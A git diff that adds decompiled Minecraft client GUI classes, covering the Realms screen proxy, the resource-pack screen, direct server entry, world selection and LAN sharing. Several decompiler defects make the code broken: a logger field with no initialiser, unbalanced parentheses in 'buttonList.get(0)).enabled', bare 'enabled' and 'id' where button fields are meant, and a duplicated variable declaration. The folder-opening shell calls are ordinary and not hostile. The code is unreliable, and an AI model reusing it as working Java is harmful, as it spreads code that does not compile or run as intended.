+    buttonList = Collections.synchronizedList(Lists.newArrayList());
+  }
+  
+  public RealmsScreen func_154321_a()
+  {
+    return field_154330_a;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    field_154330_a.init();
+    super.initGui();
+  }
+  
+  public void func_154325_a(String p_154325_1_, int p_154325_2_, int p_154325_3_, int p_154325_4_)
+  {
+    super.drawCenteredString(fontRendererObj, p_154325_1_, p_154325_2_, p_154325_3_, p_154325_4_);
+  }
+  
+  public void func_154322_b(String p_154322_1_, int p_154322_2_, int p_154322_3_, int p_154322_4_)
+  {
+    super.drawString(fontRendererObj, p_154322_1_, p_154322_2_, p_154322_3_, p_154322_4_);
+  }
+  
+
+
+
+  public void drawTexturedModalRect(int x, int y, int textureX, int textureY, int width, int height)
+  {
+    field_154330_a.blit(x, y, textureX, textureY, width, height);
+    super.drawTexturedModalRect(x, y, textureX, textureY, width, height);
+  }
+  
+
+
+
+
+  public void drawGradientRect(int left, int top, int right, int bottom, int startColor, int endColor)
+  {
+    super.drawGradientRect(left, top, right, bottom, startColor, endColor);
+  }
+  
+
+
+
+  public void drawDefaultBackground()
+  {
+    super.drawDefaultBackground();
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return super.doesGuiPauseGame();
+  }
+  
+  public void drawWorldBackground(int tint)
+  {
+    super.drawWorldBackground(tint);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    field_154330_a.render(mouseX, mouseY, partialTicks);
+  }
+  
+  public void renderToolTip(ItemStack itemIn, int x, int y)
+  {
+    super.renderToolTip(itemIn, x, y);
+  }
+  
+
+
+
+
+  public void drawCreativeTabHoveringText(String tabName, int mouseX, int mouseY)
+  {
+    super.drawCreativeTabHoveringText(tabName, mouseX, mouseY);
+  }
+  
+  public void drawHoveringText(List textLines, int x, int y)
+  {
+    super.drawHoveringText(textLines, x, y);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    field_154330_a.tick();
+    super.updateScreen();
+  }
+  
+  public int func_154329_h()
+  {
+    return fontRendererObj.FONT_HEIGHT;
+  }
+  
+  public int func_154326_c(String p_154326_1_)
+  {
+    return fontRendererObj.getStringWidth(p_154326_1_);
+  }
+  
+  public void func_154319_c(String p_154319_1_, int p_154319_2_, int p_154319_3_, int p_154319_4_)
+  {
+    fontRendererObj.drawStringWithShadow(p_154319_1_, p_154319_2_, p_154319_3_, p_154319_4_);
+  }
+  
+  public List func_154323_a(String p_154323_1_, int p_154323_2_)
+  {
+    return fontRendererObj.listFormattedStringToWidth(p_154323_1_, p_154323_2_);
+  }
+  
+  public final void actionPerformed(GuiButton button) throws IOException
+  {
+    field_154330_a.buttonClicked(((GuiButtonRealmsProxy)button).getRealmsButton());
+  }
+  
+  public void func_154324_i()
+  {
+    buttonList.clear();
+  }
+  
+  public void func_154327_a(RealmsButton p_154327_1_)
+  {
+    buttonList.add(p_154327_1_.getProxy());
+  }
+  
+  public List func_154320_j()
+  {
+    ArrayList var1 = Lists.newArrayListWithExpectedSize(buttonList.size());
+    Iterator var2 = buttonList.iterator();
+    
+    while (var2.hasNext())
+    {
+      GuiButton var3 = (GuiButton)var2.next();
+      var1.add(((GuiButtonRealmsProxy)var3).getRealmsButton());
+    }
+    
+    return var1;
+  }
+  
+  public void func_154328_b(RealmsButton p_154328_1_)
+  {
+    buttonList.remove(p_154328_1_);
+  }
+  
+
+
+  public void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    field_154330_a.mouseClicked(mouseX, mouseY, mouseButton);
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    field_154330_a.mouseEvent();
+    super.handleMouseInput();
+  }
+  
+
+
+  public void handleKeyboardInput()
+    throws IOException
+  {
+    field_154330_a.keyboardEvent();
+    super.handleKeyboardInput();
+  }
+  
+
+
+
+  public void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    field_154330_a.mouseReleased(mouseX, mouseY, state);
+  }
+  
+
+
+
+
+  public void mouseClickMove(int mouseX, int mouseY, int clickedMouseButton, long timeSinceLastClick)
+  {
+    field_154330_a.mouseDragged(mouseX, mouseY, clickedMouseButton, timeSinceLastClick);
+  }
+  
+
+
+
+  public void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    field_154330_a.keyPressed(typedChar, keyCode);
+  }
+  
+  public void confirmClicked(boolean result, int id)
+  {
+    field_154330_a.confirmResult(result, id);
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    field_154330_a.removed();
+    super.onGuiClosed();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenResourcePacks.java b/src/minecraft/net/minecraft/client/gui/GuiScreenResourcePacks.java
new file mode 100644
index 0000000..ef87105
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenResourcePacks.java
@@ -0,0 +1,235 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.resources.ResourcePackListEntry;
+import net.minecraft.client.resources.ResourcePackListEntryFound;
+import net.minecraft.client.resources.ResourcePackRepository;
+import net.minecraft.client.resources.ResourcePackRepository.Entry;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.Util;
+import net.minecraft.util.Util.EnumOS;
+import org.apache.logging.log4j.Logger;
+
+public class GuiScreenResourcePacks extends GuiScreen
+{
+  private static final Logger logger = ;
+  private GuiScreen field_146965_f;
+  private List field_146966_g;
+  private List field_146969_h;
+  private GuiResourcePackAvailable field_146970_i;
+  private GuiResourcePackSelected field_146967_r;
+  private boolean field_175289_s = false;
+  private static final String __OBFID = "CL_00000820";
+  
+  public GuiScreenResourcePacks(GuiScreen p_i45050_1_)
+  {
+    field_146965_f = p_i45050_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.add(new GuiOptionButton(2, width / 2 - 154, height - 48, I18n.format("resourcePack.openFolder", new Object[0])));
+    buttonList.add(new GuiOptionButton(1, width / 2 + 4, height - 48, I18n.format("gui.done", new Object[0])));
+    field_146966_g = Lists.newArrayList();
+    field_146969_h = Lists.newArrayList();
+    ResourcePackRepository var1 = mc.getResourcePackRepository();
+    var1.updateRepositoryEntriesAll();
+    ArrayList var2 = Lists.newArrayList(var1.getRepositoryEntriesAll());
+    var2.removeAll(var1.getRepositoryEntries());
+    Iterator var3 = var2.iterator();
+    
+
+    while (var3.hasNext())
+    {
+      ResourcePackRepository.Entry var4 = (ResourcePackRepository.Entry)var3.next();
+      field_146966_g.add(new ResourcePackListEntryFound(this, var4));
+    }
+    
+    var3 = Lists.reverse(var1.getRepositoryEntries()).iterator();
+    
+    while (var3.hasNext())
+    {
+      ResourcePackRepository.Entry var4 = (ResourcePackRepository.Entry)var3.next();
+      field_146969_h.add(new ResourcePackListEntryFound(this, var4));
+    }
+    
+    field_146969_h.add(new net.minecraft.client.resources.ResourcePackListEntryDefault(this));
+    field_146970_i = new GuiResourcePackAvailable(mc, 200, height, field_146966_g);
+    field_146970_i.setSlotXBoundsFromLeft(width / 2 - 4 - 200);
+    field_146970_i.registerScrollButtons(7, 8);
+    field_146967_r = new GuiResourcePackSelected(mc, 200, height, field_146969_h);
+    field_146967_r.setSlotXBoundsFromLeft(width / 2 + 4);
+    field_146967_r.registerScrollButtons(7, 8);
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    field_146967_r.func_178039_p();
+    field_146970_i.func_178039_p();
+  }
+  
+  public boolean hasResourcePackEntry(ResourcePackListEntry p_146961_1_)
+  {
+    return field_146969_h.contains(p_146961_1_);
+  }
+  
+  public List func_146962_b(ResourcePackListEntry p_146962_1_)
+  {
+    return hasResourcePackEntry(p_146962_1_) ? field_146969_h : field_146966_g;
+  }
+  
+  public List func_146964_g()
+  {
+    return field_146966_g;
+  }
+  
+  public List func_146963_h()
+  {
+    return field_146969_h;
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 2)
+      {
+        File var2 = mc.getResourcePackRepository().getDirResourcepacks();
+        String var3 = var2.getAbsolutePath();
+        
+        if (Util.getOSType() == Util.EnumOS.OSX)
+        {
+          try
+          {
+            logger.info(var3);
+            Runtime.getRuntime().exec(new String[] { "/usr/bin/open", var3 });
+            return;
+          }
+          catch (IOException var9)
+          {
+            logger.error("Couldn't open file", var9);
+          }
+        }
+        else if (Util.getOSType() == Util.EnumOS.WINDOWS)
+        {
+          String var4 = String.format("cmd.exe /C start \"Open file\" \"%s\"", new Object[] { var3 });
+          
+          try
+          {
+            Runtime.getRuntime().exec(var4);
+            return;
+          }
+          catch (IOException var8)
+          {
+            logger.error("Couldn't open file", var8);
+          }
+        }
+        
+        boolean var12 = false;
+        
+        try
+        {
+          Class var5 = Class.forName("java.awt.Desktop");
+          Object var6 = var5.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+          var5.getMethod("browse", new Class[] { java.net.URI.class }).invoke(var6, new Object[] { var2.toURI() });
+        }
+        catch (Throwable var7)
+        {
+          logger.error("Couldn't open link", var7);
+          var12 = true;
+        }
+        
+        if (var12)
+        {
+          logger.info("Opening via system class!");
+          org.lwjgl.Sys.openURL("file://" + var3);
+        }
+      }
+      else if (id == 1)
+      {
+        if (field_175289_s)
+        {
+          ArrayList var10 = Lists.newArrayList();
+          Iterator var11 = field_146969_h.iterator();
+          
+          while (var11.hasNext())
+          {
+            ResourcePackListEntry var13 = (ResourcePackListEntry)var11.next();
+            
+            if ((var13 instanceof ResourcePackListEntryFound))
+            {
+              var10.add(((ResourcePackListEntryFound)var13).func_148318_i());
+            }
+          }
+          
+          java.util.Collections.reverse(var10);
+          mc.getResourcePackRepository().func_148527_a(var10);
+          mc.gameSettings.resourcePacks.clear();
+          var11 = var10.iterator();
+          
+          while (var11.hasNext())
+          {
+            ResourcePackRepository.Entry var14 = (ResourcePackRepository.Entry)var11.next();
+            mc.gameSettings.resourcePacks.add(var14.getResourcePackName());
+          }
+          
+          mc.gameSettings.saveOptions();
+          mc.refreshResources();
+        }
+        
+        mc.displayGuiScreen(field_146965_f);
+      }
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    field_146970_i.func_148179_a(mouseX, mouseY, mouseButton);
+    field_146967_r.func_148179_a(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    super.mouseReleased(mouseX, mouseY, state);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawBackground(0);
+    field_146970_i.drawScreen(mouseX, mouseY, partialTicks);
+    field_146967_r.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, I18n.format("resourcePack.title", new Object[0]), width / 2, 16, 16777215);
+    drawCenteredString(fontRendererObj, I18n.format("resourcePack.folderInfo", new Object[0]), width / 2 - 77, height - 26, 8421504);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  public void func_175288_g()
+  {
+    field_175289_s = true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenServerList.java b/src/minecraft/net/minecraft/client/gui/GuiScreenServerList.java
new file mode 100644
index 0000000..12941a6
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenServerList.java
@@ -0,0 +1,107 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.resources.I18n;
+
+public class GuiScreenServerList extends GuiScreen
+{
+  private final GuiScreen field_146303_a;
+  private final ServerData field_146301_f;
+  private GuiTextField field_146302_g;
+  private static final String __OBFID = "CL_00000692";
+  
+  public GuiScreenServerList(GuiScreen p_i1031_1_, ServerData p_i1031_2_)
+  {
+    field_146303_a = p_i1031_1_;
+    field_146301_f = p_i1031_2_;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    field_146302_g.updateCursorCounter();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 96 + 12, I18n.format("selectServer.select", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 120 + 12, I18n.format("gui.cancel", new Object[0])));
+    field_146302_g = new GuiTextField(2, fontRendererObj, width / 2 - 100, 116, 200, 20);
+    field_146302_g.setMaxStringLength(128);
+    field_146302_g.setFocused(true);
+    field_146302_g.setText(mc.gameSettings.lastServer);
+    buttonList.get(0)).enabled = ((field_146302_g.getText().length() > 0) && (field_146302_g.getText().split(":").length > 0));
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+    mc.gameSettings.lastServer = field_146302_g.getText();
+    mc.gameSettings.saveOptions();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if (id == 1)
+      {
+        field_146303_a.confirmClicked(false, 0);
+      }
+      else if (id == 0)
+      {
+        field_146301_f.serverIP = field_146302_g.getText();
+        field_146303_a.confirmClicked(true, 0);
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws java.io.IOException
+  {
+    if (field_146302_g.textboxKeyTyped(typedChar, keyCode))
+    {
+      buttonList.get(0)).enabled = ((field_146302_g.getText().length() > 0) && (field_146302_g.getText().split(":").length > 0));
+    }
+    else if ((keyCode == 28) || (keyCode == 156))
+    {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws java.io.IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    field_146302_g.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("selectServer.direct", new Object[0]), width / 2, 20, 16777215);
+    drawString(fontRendererObj, I18n.format("addServer.enterIp", new Object[0]), width / 2 - 100, 100, 10526880);
+    field_146302_g.drawTextBox();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenWorking.java b/src/minecraft/net/minecraft/client/gui/GuiScreenWorking.java
new file mode 100644
index 0000000..c0be143
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenWorking.java
@@ -0,0 +1,70 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+
+public class GuiScreenWorking extends GuiScreen implements net.minecraft.util.IProgressUpdate
+{
+  private String field_146591_a = "";
+  private String field_146589_f = "";
+  
+  private int field_146590_g;
+  private boolean field_146592_h;
+  private static final String __OBFID = "CL_00000707";
+  
+  public GuiScreenWorking() {}
+  
+  public void displaySavingString(String message)
+  {
+    resetProgressAndMessage(message);
+  }
+  
+
+
+
+
+  public void resetProgressAndMessage(String p_73721_1_)
+  {
+    field_146591_a = p_73721_1_;
+    displayLoadingString("Working...");
+  }
+  
+
+
+
+  public void displayLoadingString(String message)
+  {
+    field_146589_f = message;
+    setLoadingProgress(0);
+  }
+  
+
+
+
+  public void setLoadingProgress(int progress)
+  {
+    field_146590_g = progress;
+  }
+  
+  public void setDoneWorking()
+  {
+    field_146592_h = true;
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    if (field_146592_h)
+    {
+      mc.displayGuiScreen(null);
+    }
+    else
+    {
+      drawDefaultBackground();
+      drawCenteredString(fontRendererObj, field_146591_a, width / 2, 70, 16777215);
+      drawCenteredString(fontRendererObj, field_146589_f + " " + field_146590_g + "%", width / 2, 90, 16777215);
+      super.drawScreen(mouseX, mouseY, partialTicks);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSelectWorld.java b/src/minecraft/net/minecraft/client/gui/GuiSelectWorld.java
new file mode 100644
index 0000000..6c9980b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSelectWorld.java
@@ -0,0 +1,327 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.Collections;
+import java.util.Date;
+import java.util.List;
+import net.minecraft.client.AnvilConverterException;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.world.storage.ISaveFormat;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.SaveFormatComparator;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class GuiSelectWorld extends GuiScreen implements GuiYesNoCallback
+{
+  private static final Logger logger = ;
+  private final DateFormat field_146633_h = new SimpleDateFormat();
+  protected GuiScreen field_146632_a;
+  protected String field_146628_f = "Select world";
+  private boolean field_146634_i;
+  private int field_146640_r;
+  private List field_146639_s;
+  private List field_146638_t;
+  private String field_146637_u;
+  private String field_146636_v;
+  private String[] field_146635_w = new String[4];
+  private boolean field_146643_x;
+  private GuiButton field_146642_y;
+  private GuiButton field_146641_z;
+  private GuiButton field_146630_A;
+  private GuiButton field_146631_B;
+  private static final String __OBFID = "CL_00000711";
+  
+  public GuiSelectWorld(GuiScreen p_i1054_1_)
+  {
+    field_146632_a = p_i1054_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    field_146628_f = I18n.format("selectWorld.title", new Object[0]);
+    
+    try
+    {
+      func_146627_h();
+    }
+    catch (AnvilConverterException var2)
+    {
+      logger.error("Couldn't load level list", var2);
+      mc.displayGuiScreen(new GuiErrorScreen("Unable to load worlds", var2.getMessage()));
+      return;
+    }
+    
+    field_146637_u = I18n.format("selectWorld.world", new Object[0]);
+    field_146636_v = I18n.format("selectWorld.conversion", new Object[0]);
+    field_146635_w[net.minecraft.world.WorldSettings.GameType.SURVIVAL.getID()] = I18n.format("gameMode.survival", new Object[0]);
+    field_146635_w[net.minecraft.world.WorldSettings.GameType.CREATIVE.getID()] = I18n.format("gameMode.creative", new Object[0]);
+    field_146635_w[net.minecraft.world.WorldSettings.GameType.ADVENTURE.getID()] = I18n.format("gameMode.adventure", new Object[0]);
+    field_146635_w[net.minecraft.world.WorldSettings.GameType.SPECTATOR.getID()] = I18n.format("gameMode.spectator", new Object[0]);
+    field_146638_t = new List(mc);
+    field_146638_t.registerScrollButtons(4, 5);
+    func_146618_g();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    field_146638_t.func_178039_p();
+  }
+  
+  private void func_146627_h() throws AnvilConverterException
+  {
+    ISaveFormat var1 = mc.getSaveLoader();
+    field_146639_s = var1.getSaveList();
+    Collections.sort(field_146639_s);
+    field_146640_r = -1;
+  }
+  
+  protected String func_146621_a(int p_146621_1_)
+  {
+    return ((SaveFormatComparator)field_146639_s.get(p_146621_1_)).getFileName();
+  }
+  
+  protected String func_146614_d(int p_146614_1_)
+  {
+    String var2 = ((SaveFormatComparator)field_146639_s.get(p_146614_1_)).getDisplayName();
+    
+    if (StringUtils.isEmpty(var2))
+    {
+      var2 = I18n.format("selectWorld.world", new Object[0]) + " " + (p_146614_1_ + 1);
+    }
+    
+    return var2;
+  }
+  
+  public void func_146618_g()
+  {
+    buttonList.add(this.field_146641_z = new GuiButton(1, width / 2 - 154, height - 52, 150, 20, I18n.format("selectWorld.select", new Object[0])));
+    buttonList.add(new GuiButton(3, width / 2 + 4, height - 52, 150, 20, I18n.format("selectWorld.create", new Object[0])));
+    buttonList.add(this.field_146630_A = new GuiButton(6, width / 2 - 154, height - 28, 72, 20, I18n.format("selectWorld.rename", new Object[0])));
+    buttonList.add(this.field_146642_y = new GuiButton(2, width / 2 - 76, height - 28, 72, 20, I18n.format("selectWorld.delete", new Object[0])));
+    buttonList.add(this.field_146631_B = new GuiButton(7, width / 2 + 4, height - 28, 72, 20, I18n.format("selectWorld.recreate", new Object[0])));
+    buttonList.add(new GuiButton(0, width / 2 + 82, height - 28, 72, 20, I18n.format("gui.cancel", new Object[0])));
+    field_146641_z.enabled = false;
+    field_146642_y.enabled = false;
+    field_146630_A.enabled = false;
+    field_146631_B.enabled = false;
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 2)
+      {
+        String var2 = func_146614_d(field_146640_r);
+        
+        if (var2 != null)
+        {
+          field_146643_x = true;
+          GuiYesNo var3 = func_152129_a(this, var2, field_146640_r);
+          mc.displayGuiScreen(var3);
+        }
+      }
+      else if (id == 1)
+      {
+        func_146615_e(field_146640_r);
+      }
+      else if (id == 3)
+      {
+        mc.displayGuiScreen(new GuiCreateWorld(this));
+      }
+      else if (id == 6)
+      {
+        mc.displayGuiScreen(new GuiRenameWorld(this, func_146621_a(field_146640_r)));
+      }
+      else if (id == 0)
+      {
+        mc.displayGuiScreen(field_146632_a);
+      }
+      else if (id == 7)
+      {
+        GuiCreateWorld var5 = new GuiCreateWorld(this);
+        ISaveHandler var6 = mc.getSaveLoader().getSaveLoader(func_146621_a(field_146640_r), false);
+        WorldInfo var4 = var6.loadWorldInfo();
+        var6.flush();
+        var5.func_146318_a(var4);
+        mc.displayGuiScreen(var5);
+      }
+      else
+      {
+        field_146638_t.actionPerformed(button);
+      }
+    }
+  }
+  
+  public void func_146615_e(int p_146615_1_)
+  {
+    mc.displayGuiScreen(null);
+    
+    if (!field_146634_i)
+    {
+      field_146634_i = true;
+      String var2 = func_146621_a(p_146615_1_);
+      
+      if (var2 == null)
+      {
+        var2 = "World" + p_146615_1_;
+      }
+      
+      String var3 = func_146614_d(p_146615_1_);
+      
+      if (var3 == null)
+      {
+        var3 = "World" + p_146615_1_;
+      }
+      
+      if (mc.getSaveLoader().canLoadWorld(var2))
+      {
+        mc.launchIntegratedServer(var2, var3, null);
+      }
+    }
+  }
+  
+  public void confirmClicked(boolean result, int id)
+  {
+    if (field_146643_x)
+    {
+      field_146643_x = false;
+      
+      if (result)
+      {
+        ISaveFormat var3 = mc.getSaveLoader();
+        var3.flushCache();
+        var3.deleteWorldDirectory(func_146621_a(id));
+        
+        try
+        {
+          func_146627_h();
+        }
+        catch (AnvilConverterException var5)
+        {
+          logger.error("Couldn't load level list", var5);
+        }
+      }
+      
+      mc.displayGuiScreen(this);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    field_146638_t.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_146628_f, width / 2, 20, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  public static GuiYesNo func_152129_a(GuiYesNoCallback p_152129_0_, String p_152129_1_, int p_152129_2_)
+  {
+    String var3 = I18n.format("selectWorld.deleteQuestion", new Object[0]);
+    String var4 = "'" + p_152129_1_ + "' " + I18n.format("selectWorld.deleteWarning", new Object[0]);
+    String var5 = I18n.format("selectWorld.deleteButton", new Object[0]);
+    String var6 = I18n.format("gui.cancel", new Object[0]);
+    GuiYesNo var7 = new GuiYesNo(p_152129_0_, var3, var4, var5, var6, p_152129_2_);
+    return var7;
+  }
+  
+  class List extends GuiSlot
+  {
+    private static final String __OBFID = "CL_00000712";
+    
+    public List(Minecraft mcIn)
+    {
+      super(width, height, 32, height - 64, 36);
+    }
+    
+    protected int getSize()
+    {
+      return field_146639_s.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+    {
+      field_146640_r = slotIndex;
+      boolean var5 = (field_146640_r >= 0) && (field_146640_r < getSize());
+      field_146641_z.enabled = var5;
+      field_146642_y.enabled = var5;
+      field_146630_A.enabled = var5;
+      field_146631_B.enabled = var5;
+      
+      if ((isDoubleClick) && (var5))
+      {
+        func_146615_e(slotIndex);
+      }
+    }
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return slotIndex == field_146640_r;
+    }
+    
+    protected int getContentHeight()
+    {
+      return field_146639_s.size() * 36;
+    }
+    
+    protected void drawBackground()
+    {
+      drawDefaultBackground();
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      SaveFormatComparator var7 = (SaveFormatComparator)field_146639_s.get(p_180791_1_);
+      String var8 = var7.getDisplayName();
+      
+      if (StringUtils.isEmpty(var8))
+      {
+        var8 = field_146637_u + " " + (p_180791_1_ + 1);
+      }
+      
+      String var9 = var7.getFileName();
+      var9 = var9 + " (" + field_146633_h.format(new Date(var7.getLastTimePlayed()));
+      var9 = var9 + ")";
+      String var10 = "";
+      
+      if (var7.requiresConversion())
+      {
+        var10 = field_146636_v + " " + var10;
+      }
+      else
+      {
+        var10 = field_146635_w[var7.getEnumGameType().getID()];
+        
+        if (var7.isHardcoreModeEnabled())
+        {
+          var10 = EnumChatFormatting.DARK_RED + I18n.format("gameMode.hardcore", new Object[0]) + EnumChatFormatting.RESET;
+        }
+        
+        if (var7.getCheatsEnabled())
+        {
+          var10 = var10 + ", " + I18n.format("selectWorld.cheats", new Object[0]);
+        }
+      }
+      
+      drawString(fontRendererObj, var8, p_180791_2_ + 2, p_180791_3_ + 1, 16777215);
+      drawString(fontRendererObj, var9, p_180791_2_ + 2, p_180791_3_ + 12, 8421504);
+      drawString(fontRendererObj, var10, p_180791_2_ + 2, p_180791_3_ + 12 + 10, 8421504);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiShareToLan.java b/src/minecraft/net/minecraft/client/gui/GuiShareToLan.java
new file mode 100644
index 0000000..d10e216
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiShareToLan.java
@@ -0,0 +1,113 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.server.integrated.IntegratedServer;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+
+public class GuiShareToLan extends GuiScreen
+{
+  private final GuiScreen field_146598_a;
+  private GuiButton field_146596_f;
+  private GuiButton field_146597_g;
+  private String field_146599_h = "survival";
+  private boolean field_146600_i;
+  private static final String __OBFID = "CL_00000713";
+  
+  public GuiShareToLan(GuiScreen p_i1055_1_)
+  {
+    field_146598_a = p_i1055_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    buttonList.add(new GuiButton(101, width / 2 - 155, height - 28, 150, 20, I18n.format("lanServer.start", new Object[0])));
+    buttonList.add(new GuiButton(102, width / 2 + 5, height - 28, 150, 20, I18n.format("gui.cancel", new Object[0])));
+    buttonList.add(this.field_146597_g = new GuiButton(104, width / 2 - 155, 100, 150, 20, I18n.format("selectWorld.gameMode", new Object[0])));
+    buttonList.add(this.field_146596_f = new GuiButton(103, width / 2 + 5, 100, 150, 20, I18n.format("selectWorld.allowCommands", new Object[0])));
+    func_146595_g();
+  }
+  
+  private void func_146595_g()
+  {
+    field_146597_g.displayString = (I18n.format("selectWorld.gameMode", new Object[0]) + " " + I18n.format(new StringBuilder("selectWorld.gameMode.").append(field_146599_h).toString(), new Object[0]));
+    field_146596_f.displayString = (I18n.format("selectWorld.allowCommands", new Object[0]) + " ");
+    
+    if (field_146600_i)
+    {
+      field_146596_f.displayString += I18n.format("options.on", new Object[0]);
+    }
+    else
+    {
+      field_146596_f.displayString += I18n.format("options.off", new Object[0]);
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (id == 102)
+    {
+      mc.displayGuiScreen(field_146598_a);
+    }
+    else if (id == 104)
+    {
+      if (field_146599_h.equals("spectator"))
+      {
+        field_146599_h = "creative";
+      }
+      else if (field_146599_h.equals("creative"))
+      {
+        field_146599_h = "adventure";
+      }
+      else if (field_146599_h.equals("adventure"))
+      {
+        field_146599_h = "survival";
+      }
+      else
+      {
+        field_146599_h = "spectator";
+      }
+      
+      func_146595_g();
+    }
+    else if (id == 103)
+    {
+      field_146600_i = (!field_146600_i);
+      func_146595_g();
+    }
+    else if (id == 101)
+    {
+      mc.displayGuiScreen(null);
+      String var2 = mc.getIntegratedServer().shareToLAN(net.minecraft.world.WorldSettings.GameType.getByName(field_146599_h), field_146600_i);
+      Object var3;
+      Object var3;
+      if (var2 != null)
+      {
+        var3 = new net.minecraft.util.ChatComponentTranslation("commands.publish.started", new Object[] { var2 });
+      }
+      else
+      {
+        var3 = new ChatComponentText("commands.publish.failed");
+      }
+      
+      mc.ingameGUI.getChatGUI().printChatMessage((IChatComponent)var3);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("lanServer.title", new Object[0]), width / 2, 50, 16777215);
+    drawCenteredString(fontRendererObj, I18n.format("lanServer.otherPlayers", new Object[0]), width / 2, 82, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
